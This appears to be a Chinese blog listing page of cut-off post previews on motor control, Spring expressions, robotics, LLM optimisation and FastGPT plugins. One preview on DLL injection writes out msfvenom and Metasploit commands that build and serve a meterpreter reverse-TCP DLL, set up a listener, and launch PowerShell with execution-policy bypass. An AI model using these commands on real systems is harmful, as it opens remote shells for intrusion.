一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师，爱吃土豆。如有需要技术交流或者需要方案帮助、需求：以下为联系方式—V 方案1：通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通…

表达式模板 表达式模板允许将文字文本与一个或多个评估块混合。每个评估块都由前缀和后缀字符分隔，默认是#{}。支持实现接口ParserContext自定义前后缀。调用parseExpression()时指定 ParserContext参数如：new TemplateParserContext()，#{}包…

一、项目概述 项目目标和用途 本项目旨在设计和实现一套工业分拣机器人系统，能够高效、准确地对不同类型的物品进行自动分拣。该系统广泛应用于物流、仓储和制造业，能够显著提高工作效率，降低人工成本。 技术栈关键词 ARM芯片 步进电机控…

前言：做题笔记。 下载之后是一个C的源码，用notepad打开就可以。 进行分析： 脚本: c0ffee

DLL注入 Powershell 生成DLL >msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.0.105 LPORT6666 -f dll -o /var/www/html/x.dll >use exploit/multi/handler >set payload windows/x64/meterpreter/reverse_tcp >Powershell -nop -exec bypass -…

文章目录 一、项目启动1.背景：针对不同操作系统架构的4bit权重重排2.初始环境配置下载LLaMA2-7B-chat模型 3.项目启动项目结构说明评估不同优化技术可能遇到的bug以及措施1.macOS上部署 二、各种优化技术实现1.前置条件2.优化----循环展开3.优化----多线程4.优化---…

一、文件夹功能解析 全文件夹如下 其中，核心文件作用为： diffusion_policy：扩散策略核心文件夹，包含了众多模型及基础库 example：标定及配置文件 scripts/scripts_real：测试脚本文件，区别在…

最近研究FastGPT的自定义插件，经过好几天的折磨，终于实现了一个简单的发送邮件功能，但是呢在使用的时候发现插件的icon是默认的fastgpt的logo，那肯定得自定义一个啊。直接说方法： 1、自定义插件下面的template.json文件…